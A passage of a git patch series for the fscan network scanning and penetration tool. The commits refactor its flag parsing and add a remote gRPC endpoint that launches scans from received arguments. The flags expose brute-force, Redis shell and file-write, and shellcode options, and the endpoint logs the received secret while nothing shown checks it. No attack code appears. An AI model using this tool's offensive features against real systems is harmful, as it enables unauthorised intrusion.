"usera", "", GetText("flag_add_users")) + fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) + fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) + fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) + fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) + fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) + fs.StringVar(&Domain, "domain", "", GetText("flag_domain")) + fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) + + // Web扫描参数 + fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) + fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) + fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) + fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) + fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) + fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) + + // POC测试参数 + fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) + fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) + fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) + fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) + fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) + + // Redis利用参数 + fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) + fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) + fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) + fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) + fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) + fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) + + // 暴力破解控制参数 + fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) + fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) + + // 输出与显示控制参数 + fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) + fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) + fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) + fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) + fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) + fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) + fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) + fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) + fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) + + // 其他参数 + fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) + fs.StringVar(&Language, "lang", "zh", GetText("flag_language")) + fs.StringVar(&ApiAddr, "api", "", GetText("flag_api")) + fs.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) +} + func Banner() { // 定义暗绿色系 colors := []color.Attribute{ @@ -56,8 +144,7 @@ func Banner() { c.Printf(" Fscan Version: %s\n\n", version) } -// Flag 解析命令行参数并配置扫描选项 -func Flag(Info *HostInfo) { +func Flag(info *HostInfo) { Banner() // ═════════════════════════════════════════════════ @@ -157,42 +244,48 @@ func Flag(Info *HostInfo) { // 解析命令行参数 parseCommandLineArgs() - - // 设置语言 SetLanguage() } -// parseCommandLineArgs 处理来自环境变量和命令行的参数 +func FlagFromRemote(info *HostInfo, argString string) error { + if strings.TrimSpace(argString) == "" { + return fmt.Errorf("参数为空") + } + args, err := parseEnvironmentArgs(argString) + if err != nil { + return fmt.Errorf("远程参数解析失败: %v", err) + } + + fs := flag.NewFlagSet("remote", flag.ContinueOnError) + defineFlagsForSet(fs, info) + + if err := fs.Parse(args); err != nil { + return fmt.Errorf("参数解析失败: %v", err) + } + return nil +} + func parseCommandLineArgs() { - // 首先检查环境变量中的参数 envArgsString := os.Getenv("FS_ARGS") if envArgsString != "" { - // 解析环境变量参数 (跨平台支持) envArgs, err := parseEnvironmentArgs(envArgsString) if err == nil && len(envArgs) > 0 { flag.CommandLine.Parse(envArgs) - os.Unsetenv("FS_ARGS") // 使用后清除环境变量 + os.Unsetenv("FS_ARGS") return } - // 如果环境变量解析失败,继续使用命令行参数 } - - // 解析命令行参数 flag.Parse() } -// parseEnvironmentArgs 安全地解析环境变量中的参数 func parseEnvironmentArgs(argsString string) ([]string, error) { if strings.TrimSpace(argsString) == "" { return nil, fmt.Errorf("empty arguments string") } - - // 使用更安全的参数分割方法 var args []string var currentArg strings.Builder inQuote := false quoteChar := ' ' - for _, char := range argsString { switch { case char == '"' || char == '\'': @@ -213,10 +306,8 @@ func parseEnvironmentArgs(argsString string) ([]string, error) { currentArg.WriteRune(char) } } - if currentArg.Len() > 0 { args = append(args, currentArg.String()) } - return args, nil } diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index 5d2aa29..a4d3a08 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -5,6 +5,7 @@ import ( "time" "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Core" pb "github.com/shadow1ng/fscan/RPC/lib" ) @@ -24,6 +25,15 @@ func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) Common.LogDebug("接收到扫描请求,目标: " + req.Arg + ", " + req.Secret) // TODO: 在此处实现实际的扫描逻辑,例如调用扫描器、创建任务、存储任务状态等。 // 可以异步执行扫描逻辑,并生成一个唯一的 taskID 进行标识。 + var info Common.HostInfo + if err := Common.FlagFromRemote(&info, req.Arg); err != nil { + return nil, err + } + if err := Common.Parse(&info); err != nil { + return nil, err + } + Common.LogDebug("解析参数成功,目标: " + info.Host + ", " + info.Ports) + go Core.Scan(info) // 建议异步执行 return &pb.StartScanResponse{ TaskId: "task_123456", // TODO: 返回真实生成的 taskID From a010fcbb6c3bd4de6cef4a50f324dfda2a7f07fa Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Mon, 14 Apr 2025 19:53:57 +0800 Subject: [PATCH 05/12] =?UTF-8?q?feat:=20=E5=AE=9E=E7=8E=B0=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E4=BB=BB=E5=8A=A1=E7=9A=84=E5=B9=B6=E5=8F=91=E6=8E=A7?= =?UTF-8?q?=E5=88=B6=EF=BC=8C=E4=BC=98=E5=8C=96=E5=8F=82=E6=95=B0=E8=A7=A3?= =?UTF-8?q?=E6=9E=90=E5=92=8C=E8=BE=93=E5=87=BA=E5=88=9D=E5=A7=8B=E5=8C=96?= =?UTF-8?q?=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- RPC/service/fscan.go | 57 ++++++++++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 20 deletions(-) diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index a4d3a08..0e1dcd5 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -2,6 +2,9 @@ package service import ( "context" + "fmt" + "sync" + "sync/atomic" "time" "github.com/shadow1ng/fscan/Common" @@ -9,34 +12,48 @@ import ( pb "github.com/shadow1ng/fscan/RPC/lib" ) -// FscanService 实现了 pb.FscanServiceServer 接口,用于提供扫描相关的服务。 type FscanService struct { pb.UnimplementedFscanServiceServer + scanMutex sync.Mutex + isScanning int32 // 原子变量,用于标记是否正在扫描 } -// StartScan 用于启动扫描任务。 -// 参数: -// - ctx:请求上下文,用于控制超时、取消等操作。 -// - req:StartScanRequest,包括扫描目标、端口、模式等参数。 -// 返回值: -// - StartScanResponse:包含任务 ID 和提示信息。 -// - error:执行中出现的错误信息。 func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) (*pb.StartScanResponse, error) { - Common.LogDebug("接收到扫描请求,目标: " + req.Arg + ", " + req.Secret) - // TODO: 在此处实现实际的扫描逻辑,例如调用扫描器、创建任务、存储任务状态等。 - // 可以异步执行扫描逻辑,并生成一个唯一的 taskID 进行标识。 - var info Common.HostInfo - if err := Common.FlagFromRemote(&info, req.Arg); err != nil { - return nil, err + if !atomic.CompareAndSwapInt32(&s.isScanning, 0, 1) { + return &pb.StartScanResponse{ + TaskId: "", + Message: "已有扫描任务正在运行,请稍后重试", + }, nil } - if err := Common.Parse(&info); err != nil { - return nil, err - } - Common.LogDebug("解析参数成功,目标: " + info.Host + ", " + info.Ports) - go Core.Scan(info) // 建议异步执行 + + taskID := "uuid" + + go func(taskID string, req *pb.StartScanRequest) { + defer atomic.StoreInt32(&s.isScanning, 0) + + s.scanMutex.Lock() + defer s.scanMutex.Unlock() + + Common.LogDebug("异步执行扫描请求,目标: " + req.Arg + ", " + req.Secret) + + var info Common.HostInfo + if err := Common.FlagFromRemote(&info, req.Arg); err != nil { + return + } + if err := Common.Parse(&info); err != nil { + return + } + //TODO: 结果保存需要在output模块中设计 + if err := Common.InitOutput(); err != nil { + Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err)) + return + } + + Core.Scan(info) + }(taskID, req) return &pb.StartScanResponse{ - TaskId: "task_123456", // TODO: 返回真实生成的 taskID + TaskId: taskID, Message: "扫描任务已启动", }, nil } From 580b067298b878c7c7aeef77f16ac0418991cd39 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Sun, 20 Apr 2025 19:10:52 +0800 Subject: [PATCH 06/12] =?UTF-8?q?fix:=E4=BF=AE=E5=A4=8Drebase=E6=97=B6?= =?UTF-8?q?=E4=BA=A7=E7=94=9F=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 129 ++++++++++++++++++++++++++++--------------------- 1 file changed, 74 insertions(+), 55 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index e92cf81..34cb172 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -21,78 +21,97 @@ func defineFlags(info *HostInfo) { // 通用 flag 注册逻辑,支持 flag.CommandLine 和新建 FlagSet(用于远程) func defineFlagsForSet(fs *flag.FlagSet, info *HostInfo) { + // ═════════════════════════════════════════════════ // 目标配置参数 - fs.StringVar(&info.Host, "h", "", GetText("flag_host")) - fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) - fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) - fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) - fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) + // ═════════════════════════════════════════════════ + flag.StringVar(&info.Host, "h", "", GetText("flag_host")) + flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) + flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) + flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) + // ═════════════════════════════════════════════════ // 扫描控制参数 - fs.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) - fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) - fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) - fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) - fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) - fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) - fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) - fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) - fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) - fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) + // ═════════════════════════════════════════════════ + flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) + flag.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) + flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) + flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) + flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) + flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) + flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) + flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) + flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) + flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) + // ═════════════════════════════════════════════════ // 认证与凭据参数 - fs.StringVar(&Username, "user", "", GetText("flag_username")) - fs.StringVar(&Password, "pwd", "", GetText("flag_password")) - fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) - fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) - fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) - fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) - fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) - fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) - fs.StringVar(&Domain, "domain", "", GetText("flag_domain")) - fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) + // ═════════════════════════════════════════════════ + flag.StringVar(&Username, "user", "", GetText("flag_username")) + flag.StringVar(&Password, "pwd", "", GetText("flag_password")) + flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) + flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) + flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) + flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) + flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) + flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) + flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用 + flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用 + // ═════════════════════════════════════════════════ // Web扫描参数 - fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) - fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) - fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) - fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) - fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) - fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) + // ═════════════════════════════════════════════════ + flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) + flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) + flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) + flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) + flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) + flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) + // ═════════════════════════════════════════════════ // POC测试参数 - fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) - fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) - fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) - fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) - fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) + // ═════════════════════════════════════════════════ + flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) + flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) + flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) + flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) + flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) + flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_nopoc")) + // ═════════════════════════════════════════════════ // Redis利用参数 - fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) - fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) - fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) - fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) - fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) - fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) + // ═════════════════════════════════════════════════ + flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) + flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) + flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) + flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) + flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) + flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) + // ═════════════════════════════════════════════════ // 暴力破解控制参数 - fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) - fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) + // ═════════════════════════════════════════════════ + flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) + flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) + // ═════════════════════════════════════════════════ // 输出与显示控制参数 - fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) - fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) - fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) - fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) - fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) - fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) - fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) - fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) - fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) + // ═════════════════════════════════════════════════ + flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) + flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) + flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) + flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) + flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) + flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) + flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) + flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) + flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) + // ═════════════════════════════════════════════════ // 其他参数 - fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) - fs.StringVar(&Language, "lang", "zh", GetText("flag_language")) + // ═════════════════════════════════════════════════ + flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) + flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) fs.StringVar(&ApiAddr, "api", "", GetText("flag_api")) fs.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) } From f2475bf97c0bfaf70764715cdd535f0a81dac306 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Sun, 20 Apr 2025 19:31:11 +0800 Subject: [PATCH 07/12] =?UTF-8?q?perf:=E5=AF=B9flag.go=E6=9B=B4=E5=B0=91?= =?UTF-8?q?=E7=9A=84=E4=BF=AE=E6=94=B9=EF=BC=8C=E6=96=B9=E4=BE=BFrebase?= =?UTF-8?q?=E6=9F=A5=E7=9C=8B=E6=96=87=E4=BB=B6=E5=8F=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 296 +++++++++++++++++++++++-------------------------- 1 file changed, 136 insertions(+), 160 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 34cb172..653bbf1 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -5,26 +5,65 @@ import ( "fmt" "os" "strings" - "sync" "github.com/fatih/color" ) -var flagInitOnce sync.Once +func Banner() { + // 定义暗绿色系 + colors := []color.Attribute{ + color.FgGreen, // 基础绿 + color.FgHiGreen, // 亮绿 + } -// defineFlags 用于本地 CLI 注册全局 flag.CommandLine 的 flag -func defineFlags(info *HostInfo) { - flagInitOnce.Do(func() { - defineFlagsForSet(flag.CommandLine, info) - }) + lines := []string{ + " ___ _ ", + " / _ \\ ___ ___ _ __ __ _ ___| | __ ", + " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", + "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", + "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", + } + + // 获取最长行的长度 + maxLength := 0 + for _, line := range lines { + if len(line) > maxLength { + maxLength = len(line) + } + } + + // 创建边框 + topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐" + bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘" + + // 打印banner + fmt.Println(topBorder) + + for lineNum, line := range lines { + fmt.Print("│ ") + // 使用对应的颜色打印每个字符 + c := color.New(colors[lineNum%2]) + c.Print(line) + // 补齐空格 + padding := maxLength - len(line) + fmt.Printf("%s │\n", strings.Repeat(" ", padding)) + } + + fmt.Println(bottomBorder) + + // 打印版本信息 + c := color.New(colors[1]) + c.Printf(" Fscan Version: %s\n\n", version) } -// 通用 flag 注册逻辑,支持 flag.CommandLine 和新建 FlagSet(用于远程) -func defineFlagsForSet(fs *flag.FlagSet, info *HostInfo) { +// Flag 解析命令行参数并配置扫描选项 +func Flag(Info *HostInfo) { + Banner() + // ═════════════════════════════════════════════════ // 目标配置参数 // ═════════════════════════════════════════════════ - flag.StringVar(&info.Host, "h", "", GetText("flag_host")) + flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) @@ -107,152 +146,6 @@ func defineFlagsForSet(fs *flag.FlagSet, info *HostInfo) { flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) - // ═════════════════════════════════════════════════ - // 其他参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) - flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) - fs.StringVar(&ApiAddr, "api", "", GetText("flag_api")) - fs.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) -} - -func Banner() { - // 定义暗绿色系 - colors := []color.Attribute{ - color.FgGreen, // 基础绿 - color.FgHiGreen, // 亮绿 - } - - lines := []string{ - " ___ _ ", - " / _ \\ ___ ___ _ __ __ _ ___| | __ ", - " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", - "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", - "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", - } - - // 获取最长行的长度 - maxLength := 0 - for _, line := range lines { - if len(line) > maxLength { - maxLength = len(line) - } - } - - // 创建边框 - topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐" - bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘" - - // 打印banner - fmt.Println(topBorder) - - for lineNum, line := range lines { - fmt.Print("│ ") - // 使用对应的颜色打印每个字符 - c := color.New(colors[lineNum%2]) - c.Print(line) - // 补齐空格 - padding := maxLength - len(line) - fmt.Printf("%s │\n", strings.Repeat(" ", padding)) - } - - fmt.Println(bottomBorder) - - // 打印版本信息 - c := color.New(colors[1]) - c.Printf(" Fscan Version: %s\n\n", version) -} - -func Flag(info *HostInfo) { - Banner() - - // ═════════════════════════════════════════════════ - // 目标配置参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) - flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) - flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) - flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) - flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) - flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) - - // ═════════════════════════════════════════════════ - // 扫描控制参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) - flag.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) - flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) - flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) - flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) - flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) - flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) - flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) - flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) - flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) - - // ═════════════════════════════════════════════════ - // 认证与凭据参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&Username, "user", "", GetText("flag_username")) - flag.StringVar(&Password, "pwd", "", GetText("flag_password")) - flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) - flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) - flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) - flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) - flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) - flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) - flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用 - flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用 - - // ═════════════════════════════════════════════════ - // Web扫描参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) - flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) - flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) - flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) - flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) - flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) - - // ═════════════════════════════════════════════════ - // POC测试参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) - flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) - flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) - flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) - flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) - flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) - - // ═════════════════════════════════════════════════ - // Redis利用参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) - flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) - flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) - flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) - flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) - flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) - - // ═════════════════════════════════════════════════ - // 暴力破解控制参数 - // ═════════════════════════════════════════════════ - flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) - flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) - - // ═════════════════════════════════════════════════ - // 输出与显示控制参数 - // ═════════════════════════════════════════════════ - flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) - flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) - flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) - flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) - flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) - flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) - flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) - flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) - flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) - // ═════════════════════════════════════════════════ // 其他参数 // ═════════════════════════════════════════════════ @@ -260,51 +153,132 @@ func Flag(info *HostInfo) { flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) flag.StringVar(&ApiAddr, "api", "", GetText("flag_api")) flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) - // 解析命令行参数 parseCommandLineArgs() + + // 设置语言 SetLanguage() } +// FlagFormRemote 解析远程扫描的命令行参数 func FlagFromRemote(info *HostInfo, argString string) error { if strings.TrimSpace(argString) == "" { return fmt.Errorf("参数为空") } + args, err := parseEnvironmentArgs(argString) if err != nil { return fmt.Errorf("远程参数解析失败: %v", err) } + // 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行 fs := flag.NewFlagSet("remote", flag.ContinueOnError) - defineFlagsForSet(fs, info) + // 注册需要的远程 flag,注意使用 fs 而非 flag 包的全局变量 + fs.StringVar(&info.Host, "h", "", GetText("flag_host")) + fs.StringVar(&ExcludeHosts, "eh", 